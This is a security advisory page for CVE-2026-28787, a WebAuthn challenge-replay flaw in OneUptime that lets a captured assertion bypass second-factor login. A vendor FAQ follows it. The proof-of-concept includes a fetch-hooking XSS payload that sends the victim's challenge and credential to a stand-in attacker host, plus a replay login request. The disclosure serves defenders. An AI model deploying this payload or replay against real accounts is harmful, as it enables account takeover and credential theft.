CVE-2026-28787

The WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.

Details

During WebAuthn authentication, the server generates a random challenge via generateAuthenticationOptions() in Common/Server/Services/UserWebAuthnService.ts (line 164-221). However, the challenge is only returned to the client and never stored in a session or database on the server side.

When the client submits the authentication response, the server reads the expectedChallenge directly from the untrusted request body (Authentication.ts:1042):

// App/FeatureSet/Identity/API/Authentication.ts:1041-1049
} else if (verifyWebAuthn) {
  const expectedChallenge: string = data["challenge"] as string;  // ← client-controlled
  const credential: any = data["credential"];

  await UserWebAuthnService.verifyAuthentication({
    userId: alreadySavedUser.id!.toString(),
    challenge: expectedChallenge,  // ← NOT a server-stored value
    credential: credential,
  });
}

The verifyAuthentication() method then passes this client-provided challenge to @simplewebauthn/server's verifyAuthenticationResponse() as expectedChallenge (UserWebAuthnService.ts:268-270):

const verification: any = await verifyAuthenticationResponse({
  response: data.credential,
  expectedChallenge: data.challenge,  // ← client-controlled value used as "expected"
  expectedOrigin: expectedOrigin,
  expectedRPID: Host.toString(),
  credential: { /* public key from DB */ },
});

Since both the expectedChallenge (from request body) and the challenge embedded in the credential's clientDataJSON originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.

Correct flow vs. OneUptime's flow:

PoC

Prerequisites:

• An attacker has obtained the victim's password (e.g., credential stuffing, phishing)
• An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)

Steps to reproduce:

1. Capture a valid WebAuthn assertion.
   Intercept or extract a legitimate authentication request containing challenge and credential fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):

   // XSS payload to intercept WebAuthn authentication
   const origFetch = window.fetch;
   window.fetch = async function(url, opts) {
     if (url.includes('/verify') && opts?.body) {
       const body = JSON.parse(opts.body);
       if (body.data?.credential) {
         // Exfiltrate the assertion
         navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
           challenge: body.data.challenge,
           credential: body.data.credential
         }));
       }
     }
     return origFetch.apply(this, arguments);
   };
   

2. Replay the captured assertion at any later time.
   Send the following request with the victim's email, password, and the captured challenge + credential:

   POST /api/identity/authentication/login HTTP/1.1
   Content-Type: application/json
   
   {
     "data": {
       "email": "[email protected]",
       "password": "<victim's password>",
       "challenge": "<captured challenge value>",
       "credential": {
         "id": "<captured credential id>",
         "rawId": "<captured rawId>",
         "response": {
           "authenticatorData": "<captured authenticatorData>",
           "clientDataJSON": "<captured clientDataJSON>",
           "signature": "<captured signature>"
         },
         "type": "public-key",
         "clientExtensionResults": {},
         "authenticatorAttachment": "platform"
       }
     }
   }
   

3. Result: The server accepts the authentication. The expectedChallenge (from the request body) matches the challenge in clientDataJSON (from the same captured assertion), and the signature is valid (signed by the real user's key). A session token is returned, granting full access to the victim's account.

   The attacker bypasses WebAuthn 2FA without possessing the victim's authenticator device.

WebAuthn 2FA is rendered ineffective. The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely, the assertion never expires because there is no server-side challenge state to invalidate.

Who is impacted: Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.

Attack chain potential: This vulnerability can be chained with:

• Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions
• Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing
• User enumeration via differential error messages to identify valid targets

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-28787 has a CVSS score of 8.2 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-28787? CVE-2026-28787 is a high-severity improper authentication vulnerability in @oneuptime/common (npm), affecting versions <= 10.0.11. No fixed version is listed yet. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-28787? CVE-2026-28787 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @oneuptime/common are affected by CVE-2026-28787? @oneuptime/common (npm) versions <= 10.0.11 is affected.
4. Is there a fix for CVE-2026-28787? No fixed version is listed for CVE-2026-28787 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-28787 exploitable, and should I be worried? Whether CVE-2026-28787 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-28787 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-28787? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authentication checks are present and cannot be bypassed by manipulating request parameters.